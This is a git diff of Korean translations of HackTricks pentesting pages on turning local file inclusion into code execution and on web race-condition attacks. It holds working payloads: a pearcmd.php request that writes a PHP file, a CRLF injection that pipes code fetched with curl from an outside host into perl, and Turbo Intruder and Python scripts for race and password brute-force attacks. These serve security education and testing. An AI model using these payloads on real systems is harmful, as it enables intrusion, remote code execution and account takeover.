만약 **Local File Inclusion**을 찾았고 **Nginx**가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다:
|
||||
Local File Inclusion을 발견했고 **Nginx**가 PHP 앞에서 동작 중이라면, 다음 기법으로 **RCE**를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
|
||||
|
||||
세션이 없고 `session.auto_start`가 `Off`인 경우에도 **Local File Inclusion**을 찾았다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 자동으로 **enable the session for you** 합니다. 이를 악용해 RCE를 얻을 수 있습니다:
|
||||
Local File Inclusion을 발견했지만 **세션이 없고** `session.auto_start`가 `Off`인 경우에도, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 포함하면 PHP가 **세션을 활성화**합니다. 이를 악용해 **RCE**를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Windows의 임시 파일 업로드를 통한 방법
|
||||
|
||||
**Local File Inclusion**을 찾았고 서버가 **Windows**에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다:
|
||||
Local File Inclusion을 발견했고 서버가 **Windows**에서 실행 중이라면 RCE를 얻을 가능성이 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### `pearcmd.php` + URL args를 통한 방법
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 `=`가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 및 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` 스크립트는 php docker images에 기본적으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어, URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)와 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
다음 요청은 `/tmp/hello.php`에 `<?=phpinfo()?>` 내용을 가진 파일을 생성합니다:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
다음은 CRLF vuln을 악용해 RCE를 획득하는 예입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### phpinfo() (file_uploads = on)을 통해
|
||||
### phpinfo()를 통한 방법 (file_uploads = on)
|
||||
|
||||
만약 **Local File Inclusion**을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:
|
||||
만약 **Local File Inclusion**를 찾았고 **phpinfo()**를 노출하는 파일에서 file_uploads = on이라면 RCE를 얻을 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통한 방법
|
||||
|
||||
만약 **Local File Inclusion**을 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 PHP 마크가 있는지 **검사**한다면, 이 **Race Condition**으로 그 검사를 **우회**해볼 수 있습니다:
|
||||
만약 **Local File Inclusion**를 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **서버**가 포함할 파일에 PHP 마커가 있는지 **검사**하고 있다면, 이 **Race Condition**을 이용해 그 **검사**를 **bypass**할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### eternal waiting + bruteforce를 통해
|
||||
### eternal waiting + bruteforce를 통한 방법
|
||||
|
||||
만약 LFI를 악용해 **임시 파일을 업로드**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 **brute force로 파일명**을 시도해 임시 파일을 찾을 수 있습니다:
|
||||
만약 LFI를 악용해 임시 파일을 **upload temporary files**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -651,15 +652,15 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Fatal Error로
|
||||
|
||||
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
|
||||
만약 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 어떤 파일이든 포함(include)하면 됩니다. (이 오류를 발생시키려면 동일한 파일을 2번 포함해야 합니다).
|
||||
|
||||
**이게 어떻게 유용한지는 모르겠지만 가능성은 있습니다.**\
|
||||
_심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
|
||||
**이게 어떻게 유용한지 잘 모르겠지만 가능성은 있습니다.**\
|
||||
_설령 PHP Fatal Error를 발생시켜도, 업로드된 PHP 임시 파일들은 삭제됩니다._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
@ -3,56 +3,56 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기술을 깊이 이해하려면 원문 리포트 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)를 확인하세요.
|
||||
> 이 기술을 깊이 이해하려면 원문 리포트(https://portswigger.net/research/smashing-the-state-machine)를 확인하세요
|
||||
|
||||
## Race Condition 공격 고도화
|
||||
## Race Condition 공격 강화
|
||||
|
||||
주요 장애물은 여러 요청이 거의 동시에 처리되도록 만드는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만이어야 합니다.
|
||||
race conditions를 이용하는 주요 난관은 여러 요청이 동시에 처리되도록 보장하는 것이다. **처리 시간 차이가 매우 작아야 한다 — 이상적으로는 1ms 미만**.
|
||||
|
||||
요청 동기화를 위한 몇 가지 기법은 다음과 같습니다:
|
||||
다음은 요청 동기화를 위한 몇 가지 기법이다:
|
||||
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동 때문에 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있습니다.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류한 다음, 그 조각들을 함께 전송해 서버에 동시에 도착하도록 만드는 방식입니다.
|
||||
- **HTTP/2**: 단일 TCP 연결에서 두 요청을 보낼 수 있어 네트워크 지터 영향을 줄인다. 하지만 서버 측 변동으로 인해 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있다.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청에서 대부분을 미리 전송하고 작은 조각만 남겨뒀다가 이를 함께 전송해 서버에 동시에 도착시키는 방식이다.
|
||||
|
||||
**Preparation for Last-Byte Sync** involves:
|
||||
|
||||
1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다.
|
||||
2. 초기 전송 후 100ms 동안 대기합니다.
|
||||
3. 최종 프레임 배치를 위해 TCP_NODELAY를 비활성화하여 Nagle's algorithm을 활용합니다.
|
||||
4. 연결을 워밍업하기 위해 ping을 수행합니다.
|
||||
1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송한다.
|
||||
2. 초기 전송 후 100ms 동안 대기한다.
|
||||
3. TCP_NODELAY를 비활성화해 Nagle's algorithm을 이용해 마지막 프레임을 배치 처리한다.
|
||||
4. 연결을 워밍업하기 위해 ping을 보낸다.
|
||||
|
||||
보류한 프레임을 이후에 전송하면 단일 패킷으로 도착하는 것을 Wireshark로 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 사용되지 않는 static files에는 적용되지 않습니다.
|
||||
이후 보류된 프레임을 전송하면 이들이 단일 패킷으로 도착해야 하며, 이는 Wireshark로 확인할 수 있다. 이 방법은 일반적으로 RC 공격에 포함되지 않는 static files에는 적용되지 않는다.
|
||||
|
||||
### 서버 아키텍처에 맞게 조정
|
||||
### 서버 아키텍처에 적응하기
|
||||
|
||||
대상 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 줄 수 있습니다. 중요하지 않은 요청으로 사전 서버 측 연결 워밍업을 수행하면 요청 타이밍을 정규화할 수 있습니다.
|
||||
타깃의 아키텍처를 이해하는 것이 중요하다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 준다. 중요하지 않은 요청으로 서버 측 연결을 미리 워밍업하면 요청 타이밍을 정규화할 수 있다.
|
||||
|
||||
#### 세션 기반 잠금 처리
|
||||
|
||||
PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session 토큰을 사용하면 이 문제를 회피할 수 있습니다.
|
||||
PHP의 session handler와 같은 프레임워크는 세션 단위로 요청을 직렬화해 취약점을 가릴 수 있다. 각 요청에 서로 다른 세션 토큰을 사용하면 이 문제를 회피할 수 있다.
|
||||
|
||||
#### Rate 또는 자원 제한 극복
|
||||
#### Rate 또는 리소스 제한 극복
|
||||
|
||||
연결 워밍업이 효과적이지 않다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 자원 제한 지연을 의도적으로 유발하면 서버 측 지연이 생겨 single-packet attack에 유리해질 수 있습니다.
|
||||
연결 워밍업이 효과가 없다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 리소스 제한으로 인한 지연을 의도적으로 유발해 서버 측 지연을 만들어 single-packet attack을 용이하게 할 수 있다.
|
||||
|
||||
## 공격 예시
|
||||
## Attack Examples
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 **Turbo intruder**로 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 브루트포스할 값인 **`%s`**를 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`처럼 변경한 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택하세요:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 Turbo Intruder로 보낼 수 있다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 brute force하려는 값을 **`%s`**로 바꿀 수 있다. 예: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그런 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택한다:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
값을 **다르게 전송하려는 경우**, 클립보드에서 워드리스트를 사용하는 다음 코드로 수정할 수 있습니다:
|
||||
서로 다른 값을 **전송하려는** 경우, 클립보드의 wordlist를 사용하는 다음 코드로 수정할 수 있다:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
> [!WARNING]
|
||||
> 웹이 HTTP2를 지원하지 않고(오직 HTTP1.1만 지원하는 경우) `Engine.BURP2` 대신 `Engine.THREADED` 또는 `Engine.BURP`를 사용하세요.
|
||||
> 웹이 HTTP2를 지원하지 않고 HTTP1.1만 지원하는 경우 `Engine.THREADED` 또는 `Engine.BURP`를 `Engine.BURP2` 대신 사용하세요.
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 만약 RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 이어서 다른 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: RCE를 트리거하기 위해 먼저 1개의 endpoint에 요청을 보내고 이후 다른 여러 endpoint로 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
- 또한 Burp Suite의 **Repeater**에서 새로운 '**Send group in parallel**' 옵션을 통해 사용할 수 있습니다.
|
||||
- **limit-overrun**의 경우 그룹에 **같은 request를 50번** 추가하면 됩니다.
|
||||
- **connection warming**을 위해 그룹의 **시작 부분**에 웹 서버의 비정적 부분에 대한 몇 개의 **requests**를 **추가**할 수 있습니다.
|
||||
- 2 substates 단계에서 한 **request**를 처리한 다음 다른 **request**를 처리하는 과정 사이를 **지연**시키려면, 두 **request** 사이에 추가 **requests**를 넣을 수 있습니다.
|
||||
- **multi-endpoint** RC의 경우, **hidden state**로 가는 **request**를 먼저 보내고 그 직후에 **50 requests**를 보내서 **hidden state**를 악용할 수 있습니다.
|
||||
- **limit-overrun**의 경우 그룹에 **same request 50 times**만 추가하면 됩니다.
|
||||
- **connection warming**의 경우 그룹의 **beginning**에 웹 서버의 비정적(non static) 부분으로의 일부 **requests**를 **add**할 수 있습니다.
|
||||
- 2 substates 단계에서 한 요청을 처리한 다음 다른 요청을 처리하기까지의 사이를 **delaying**하려면, 두 요청 사이에 **add extra requests between**를 추가할 수 있습니다.
|
||||
- **multi-endpoint** RC의 경우 **goes to the hidden state**하는 **request**를 먼저 보내고 바로 뒤이어 **50 requests**를 보내어 **exploits the hidden state**할 수 있습니다.
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 검증 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드 상에서 이메일을 수정할 수는 있지만 검증이 이전 이메일로 전송되는 RC가 관찰되었기 때문이며, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
|
||||
수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 검증 토큰을 받은 것으로 판단하고 공격을 종료합니다.
|
||||
- **Automated python script**: 이 스크립트의 목적은 사용자의 이메일을 변경하고 새로운 이메일의 verification token이 마지막 이메일로 도착할 때까지 지속적으로 검증을 반복하는 것입니다 (코드상에서 이메일을 변경할 수 있지만 verification이 기존 이메일로 전송되는 RC가 발생했는데, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
|
||||
수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 verification token을 받은 것으로 간주하고 공격을 종료합니다.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -217,21 +217,28 @@ h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
#### Turbo Intruder: 엔진 및 게이팅 노트
|
||||
|
||||
- 엔진 선택: HTTP/2 대상에서는 `Engine.BURP2`를 사용해 single‑packet attack을 트리거하세요; HTTP/1.1 last‑byte sync에는 `Engine.THREADED` 또는 `Engine.BURP`로 폴백하세요.
|
||||
- `gate`/`openGate`: `gate='race1'`(또는 시도별 gates)로 여러 복사본을 큐에 넣으면 각 요청의 tail을 보류합니다; `openGate('race1')`는 모든 tail을 함께 플러시하여 거의 동시에 도착하게 합니다.
|
||||
- Diagnostics: Turbo Intruder에서 음수 타임스탬프는 요청이 완전히 전송되기 전에 서버가 응답했음을 나타내며, 이는 겹침(overlap)을 증명합니다. 이는 실제 races에서 예상되는 현상입니다.
|
||||
- 연결 워밍업: 타이밍을 안정시키기 위해 먼저 ping 또는 몇 개의 무해한 요청을 보내세요; 마지막 프레임의 배칭을 유도하려면 선택적으로 `TCP_NODELAY`를 비활성화하세요.
|
||||
|
||||
|
||||
### Single Packet Attack 개선
|
||||
|
||||
원래 연구에서는 이 공격이 1,500 bytes의 제한이 있다고 설명합니다. 하지만 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP layer fragmentation을 사용해 single packet attack의 1,500-byte 제한을 TCP의 **65,535 B window limitation**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 프래그먼트가 서버에 도달할 때까지 재조립을 방지)이 설명되어 있습니다. 이 기법을 통해 연구자는 약 166ms 만에 10,000개의 요청을 전송할 수 있었습니다.
|
||||
원래 연구에서는 이 공격이 1,500 바이트의 제한이 있다고 설명했습니다. 그러나 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP 레이어 조각화(IP layer fragmentation)를 사용해 single packet attack의 1,500바이트 제한을 TCP의 **65,535 B 윈도우 제한**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 조각이 서버에 도달할 때까지 재조립을 방지)을 설명했습니다. 이 기법으로 연구자는 약 166ms에 10,000개의 요청을 전송할 수 있었습니다.
|
||||
|
||||
이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC 공격의 신뢰성이 높아지지만, 소프트웨어적 한계도 있을 수 있습니다. Apache, Nginx and Go 같은 일부 인기 있는 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS`를 각각 100, 128, 250으로 엄격하게 설정합니다. 반면 NodeJS와 nghttp2 등은 제한이 없습니다.
|
||||
이것은 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 의미이며(이 RC 공격을 제한함) 결국 공격의 효과를 떨어뜨릴 수 있습니다.
|
||||
이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격의 신뢰성이 올라가지만, 소프트웨어적 제한도 있을 수 있습니다. Apache, Nginx, Go 같은 일부 인기 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS` 값을 각각 100, 128, 250으로 엄격히 설정합니다. 반면 NodeJS와 nghttp2는 이를 무제한으로 둡니다. 즉, Apache는 단일 TCP 연결에서 100개의 HTTP 연결만 고려하므로(이 RC 공격을 제한함) 주의해야 합니다.
|
||||
|
||||
이 기법을 사용한 예제는 레포 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다.
|
||||
이 기법을 사용한 몇 가지 예제는 리포지토리 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다.
|
||||
|
||||
## Raw BF
|
||||
|
||||
이전 연구 이전에는 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 사용되었습니다.
|
||||
이전 연구 이전에는 가능한 한 빠르게 패킷을 보내 RC를 유발하려는 다음과 같은 페이로드들이 사용되었습니다.
|
||||
|
||||
- **Repeater:** 이전 섹션의 예제를 확인하세요.
|
||||
- **Intruder**: **request**를 **Intruder**로 전송하고, **Options menu**에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**을 생성합니다.
|
||||
- **Intruder**: **request**를 **Intruder**로 보내고, **Options** 메뉴에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**개를 생성하세요.
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -279,75 +286,75 @@ print(results)
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC Methodology**
|
||||
## **RC 방법론**
|
||||
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
This is the most basic type of race condition where **취약점** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
이것은 가장 기본적인 유형의 race condition으로, 특정 동작을 수행할 수 있는 횟수를 제한하는 곳에서 **vulnerabilities**가 **발생**하는 경우입니다. 예를 들어 웹 스토어에서 동일한 할인 코드를 여러 번 사용하는 경우가 있습니다. 아주 쉬운 예는 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 또는 [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
There are many variations of this kind of attack, including:
|
||||
이 유형의 공격에는 여러 변형이 있습니다. 예를 들면:
|
||||
|
||||
- 기프트 카드를 여러 번 사용하는 경우
|
||||
- 제품을 여러 번 평가하는 경우
|
||||
- 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 경우
|
||||
- 단일 CAPTCHA 솔루션을 재사용하는 경우
|
||||
- 브루트포스 방지 rate limit을 우회하는 경우
|
||||
- 기프트 카드를 여러 번 사용하는 행위
|
||||
- 제품을 여러 번 평가하기
|
||||
- 계좌 잔액을 초과하여 현금을 인출하거나 이체하기
|
||||
- 단일 CAPTCHA 응답 재사용
|
||||
- anti-brute-force rate limit 우회
|
||||
|
||||
### **Hidden substates**
|
||||
### **숨겨진 하위 상태**
|
||||
|
||||
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **의도치 않은 machine substates**. Here’s how to approach this:
|
||||
복잡한 race conditions를 악용하려면 숨겨진 또는 **unintended machine substates**와 상호작용할 수 있는 짧은 기회를 이용하는 경우가 많습니다. 접근 방법은 다음과 같습니다:
|
||||
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
|
||||
- **Storage**: 서버측 영속 데이터를 조작하는 엔드포인트를 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 우선적으로 살펴보세요.
|
||||
- **Action**: 기존 데이터를 변경하는 작업을 찾아보세요. 새 데이터를 추가하는 작업보다 exploit 가능한 조건을 만들 가능성이 큽니다.
|
||||
- **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)에 키가 걸린 작업이 관련됩니다.
|
||||
2. **Conduct Initial Probing**
|
||||
- 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대한 결과와의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 나타낼 수 있습니다.
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 축소하세요. 종종 필요한 것은 단 두 번의 요청뿐입니다. 이 단계는 정밀한 타이밍이 요구되므로 여러 번의 시도나 자동화가 필요할 수 있습니다.
|
||||
1. **잠재적 숨겨진 하위 상태 식별**
|
||||
- 사용자 프로필이나 비밀번호 재설정(password reset) 과정처럼 중요한 데이터를 수정하거나 상호작용하는 endpoints를 먼저 찾아보세요. 중점은:
|
||||
- **Storage**: 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 서버 측 영속 데이터(server-side persistent data)를 조작하는 엔드포인트를 우선하세요.
|
||||
- **Action**: 기존 데이터를 변경하는 작업을 찾으세요. 새 데이터를 추가하는 작업보다 취약 조건을 만들 가능성이 큽니다.
|
||||
- **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)를 키로 사용하는 작업에서 발생합니다.
|
||||
2. **초기 탐색 수행**
|
||||
- 식별한 엔드포인트를 race condition 공격으로 테스트하고 예상 결과와의 차이를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 vulnerability를 시사할 수 있습니다.
|
||||
3. **취약점 입증**
|
||||
- 취약점을 exploit하는 데 필요한 최소 요청 수(종종 두 건)로 공격을 좁히세요. 이 단계는 정밀한 타이밍이 필요하므로 여러 번 시도하거나 자동화가 필요할 수 있습니다.
|
||||
|
||||
### Time Sensitive Attacks
|
||||
### 시간 민감 공격
|
||||
|
||||
요청 타이밍의 정밀성은 취약점을 드러낼 수 있습니다. 특히 타임스탬프와 같이 예측 가능한 방식이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, 타임스탬프에 기반한 password reset tokens 생성을 사용하는 경우 동시 요청에 대해 동일한 토큰이 만들어질 수 있습니다.
|
||||
요청 타이밍의 정밀성은 취약점을 드러낼 수 있으며, 특히 timestamps 같은 예측 가능한 방식이 security tokens에 사용될 때 그렇습니다. 예를 들어 타임스탬프 기반으로 password reset tokens를 생성하면 동시 요청에 대해 동일한 토큰이 발급될 수 있습니다.
|
||||
|
||||
**To Exploit:**
|
||||
**악용 방법:**
|
||||
|
||||
- 단일 패킷 공격과 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 생성하세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다.
|
||||
- single packet attack 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 하세요. 일치하는 토큰은 취약점을 의미합니다.
|
||||
|
||||
**Example:**
|
||||
**예시:**
|
||||
|
||||
- 동시에 두 개의 password reset tokens를 요청하여 비교하세요. 토큰이 일치하면 token 생성에 결함이 있음을 시사합니다.
|
||||
- 동시에 두 개의 password reset 토큰을 요청하고 비교하세요. 토큰이 일치하면 토큰 생성에 결함이 있음을 시사합니다.
|
||||
|
||||
이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)를 확인하세요.
|
||||
**이 실습을 해보려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **을 확인하세요.**
|
||||
|
||||
## Hidden substates case studies
|
||||
## 숨겨진 하위 상태 사례 연구
|
||||
|
||||
### Pay & add an Item
|
||||
### 결제 후 아이템 추가
|
||||
|
||||
이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인해 상점에서 결제하고 추가 항목을 결제하지 않고 얻는 방법을 살펴보세요.
|
||||
이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 을 확인해 상점에서 결제한 뒤 추가 항목을 결제하지 않고 얻는 방법을 확인하세요.
|
||||
|
||||
### Confirm other emails
|
||||
### 다른 이메일 인증
|
||||
|
||||
아이디어는 **이메일 주소를 verify하고 동시에 다른 주소로 변경**하여 플랫폼이 변경된 새 주소를 실제로 인증하는지 확인하는 것입니다.
|
||||
아이디어는 **이메일 주소를 verify하고 동시에 다른 이메일로 변경**하여 플랫폼이 변경된 새 이메일을 실제로 인증하는지 확인하는 것입니다.
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
### 쿠키 기반으로 이메일을 두 주소로 변경
|
||||
|
||||
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
|
||||
